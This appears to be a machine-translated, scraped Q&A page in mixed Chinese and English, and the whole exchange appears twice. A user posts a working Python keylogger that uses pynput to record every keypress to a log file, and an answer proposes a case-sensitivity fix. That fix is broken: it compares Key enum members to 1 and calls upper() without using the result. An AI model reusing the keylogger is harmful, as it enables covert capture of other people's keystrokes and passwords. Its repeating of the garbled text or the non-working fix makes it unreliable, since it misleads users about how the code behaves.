Python : 区分大小写的键盘记录器 "
Python : keylogger with case sensitive "
我正在 python 中创建一个键盘记录器,事情是
问题案例:
it didn't capture as a **word/sentence**
no **case sensitive**.
记录器源代码
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
测试用例:
"HelLo LoggeR"
日志file/output
'h'
'e'
'l'
'l'
'o'
'l'
'o'
'g'
'g'
'e'
'r'
**预期结果应该是
日志File/out**
HelLo Logger
任何改进此功能的修改
要改进它,您可以使用属性caps_lock检查大写锁定是否打开,或者在使用方法shift_pressed记录字母之前是否按下了任何shift键,或者您可以使用属性 :shift 这是一个通用修饰符来识别是否按下了任何 shift 键。
修饰符并不能真正确定键是否被物理按下,因为它们在控制器内部使用,但这可能是一种确定是否按下或属性设置为 1 或 True 的方法。
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s' )
def btn_press(key):
if Key.caps_lock == 1 or Key.shift == 1:
# set the key value to upper
# your code here
key.upper()
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
更多信息,:check the documentation even if it's not very well covered, it might help you
我正在 python 中创建一个键盘记录器,事情是
问题案例:
it didn't capture as a **word/sentence**
no **case sensitive**.
记录器源代码
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
测试用例:
"HelLo LoggeR"
日志file/output
'h'
'e'
'l'
'l'
'o'
'l'
'o'
'g'
'g'
'e'
'r'
**预期结果应该是
日志File/out**
HelLo Logger
任何改进此功能的修改
要改进它,您可以使用属性caps_lock检查大写锁定是否打开,或者在使用方法shift_pressed记录字母之前是否按下了任何shift键,或者您可以使用属性 :shift 这是一个通用修饰符来识别是否按下了任何 shift 键。
修饰符并不能真正确定键是否被物理按下,因为它们在控制器内部使用,但这可能是一种确定是否按下或属性设置为 1 或 True 的方法。
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s' )
def btn_press(key):
if Key.caps_lock == 1 or Key.shift == 1:
# set the key value to upper
# your code here
key.upper()
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
更多信息,:check the documentation even if it's not very well covered, it might help you